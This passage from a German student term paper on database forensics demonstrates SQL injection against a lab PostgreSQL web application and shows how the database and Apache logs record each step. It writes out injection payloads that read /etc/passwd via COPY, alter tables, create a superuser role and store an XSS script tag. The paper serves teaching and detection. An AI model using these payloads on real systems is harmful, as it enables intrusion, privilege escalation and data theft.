Page 34: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

34

Allerdings verlaufen diese Anfragen auch nicht unbemerkt. Auch unter PostgreSQL finden sich Logdateien. So wurden alle eben ausgeführten Anfragen in /var/www/docker/pgdata/pg_log/query.log gespeichert.

Veränderung von Daten Auch in dieser Datenbank können mittels SQL-Injektion Daten verändert werden. Dazu wurde, unter der Verwendung von der bereits im ersten Teil dieser Hausarbeit für PostgreSQL angepassten 13_PARSER.php, die Tabelle auto um die Spalte panoramaDach erweitert. Der Default-Wert wurde dabei auf false gesetzt, sodass auch bestehende Datenbestände valide geblieben sind.

'; ALTER TABLE auto ADD COLUMN panoramaDach BOOLEAN DEFAULT FALSE; -- . Im Adminer ist das Ergebnis zu sehen.

Auch diese Änderungen sind im Logfile zu finden.

Da auch diese Änderungen über localhost (127.0.0.1) durchgeführt wurde, griff hier erneut auch das Logging von Apache selbst, wie der erneute Ausschnitt des /var/log/apache2/access.log zeigt.

Page 35: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

35

Datenbank-Server verändern Um eine Veränderung des Datenbank-Servers über SQL-Injektion zu demonstrieren, wurde im nächsten Schritt eine weiterer User-Role autoSpecialUser angelegt.

'; CREATE ROLE autoSpecialUser WITH SUPERUSER; -- . Das Ergebnis ist erneut in Adminer sichtbar.

PostgreSQL loggt auch diese Änderung mit.

Geloggt wurde dies ebenso durch den Webserver. Dabei fällt nebenbei auf, dass das Logging von PostgreSQL in der Sommerzeit erfolgt, das des Webservers in der – eigentlich auch gerade herrschenden – Winterzeit.

Änderungen am Filesystem Selbst die selbstgestaltete Datenbank ist vor Übergriffen auf das Filesystem nicht sicher. So wird hier die Datei passwd über die temporäre Tabelle myFileInput gelesen.

'; CREATE TABLE myFileInput (t text) ; COPY myFileInput FROM '/etc/passwd‘; -- .

Page 36: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

36

Die Tabelle sieht im Adminer wie folgt aus.

Das Datenbankmanagementsystem vermerkt auch diese Änderung in der Logdatei.

Da die Änderungen erneut über localhost erfolgte, loggte auch der Webserver wieder mit.

Einschleusen von beliebigem Code Abschließend wird auch an dieser Datenbank das Einschleusen von beliebigem Code demonstriert. Dazu wird die Tabelle abteilung mit Daten gefüllt, in denen sich ein script-Tag befindet, dass vom Browser direkt interpretiert und ausgeführt wird.

'; INSERT INTO abteilung (AbtNr, Bezeichnung) VALUES (5, <script>prompt(„Hallo Welt!“)</script>‘); -- . Nach Klick auf den Button, der die Abfrage absendet, führt der Browser dieses Script aus. Das Ergebnis des prompts wird hier nicht weiter verwertet.

Page 37: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

37

Diese Einführung von beliebigem Code wurde erneut sowie durch das Datenbankmanagementsystem als auch den Webserver geloggt.

Page 38: im Modul „Datenbanken II: Forensik in ... · dem Befehl COPY über eine Hilfstabelle fileInput. '; CREATE TABLE fileInput(t text) ; COPY fileInput FROM '/etc/passwd' ; -- . Der

38

Fazit Diese Hausarbeit verdeutlicht einige Angriffsmöglichkeiten von Datenbanken durch SQL-Injektion anhand von jeweils fünf Aspekten, die Hauptziele von SQL-Injektion darstellen. Verschiedene Datenbankmanagementsysteme haben dabei verschiedene Angriffspunkte, verschiedene SQL-Syntax, aber auch verschiedene Konfigurationsmöglichkeiten zum Schutz gegen diese. Trotz der Unterschiede von den einzelnen Datenbankmanagementsystemen im Detail, waren alle im Rahmen dieser Hausarbeit untersuchten Ziele von SQL-Injektion in den ausgewählten Systemen umsetzbar. Sicherheitslücken können jedoch oftmals nicht unbemerkt genutzt werden. So dokumentieren Datenbankmanagementsysteme durch Logging auch ungewollte Anfragen und können durch aufmerksame Datenbankadministratoren analysiert und festgestellt werden. Wurde ein solcher Übergriff festgestellt, sollten die Konfigurationen des Datenbankmanagementsysteme angepasst und / oder die Entwicklung der Webseite optimiert werden.